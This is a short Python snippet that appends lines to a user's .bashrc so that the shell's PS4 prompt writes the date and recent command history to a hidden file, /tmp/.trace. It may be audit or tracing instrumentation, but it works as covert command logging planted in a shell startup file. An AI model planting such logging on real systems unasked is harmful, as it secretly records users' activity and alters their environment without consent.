open('/tmp/.trace', 'a').close() bashrc = open('/home/theia/.bashrc', 'a') bashrc.write('\n') bashrc.write('''PS4=\'$(echo $(date) $(history 1) >> /tmp/.trace)\'''') bashrc.write('\n') bashrc.write('export PS4') bashrc.write('\n') # Close the file bashrc.close()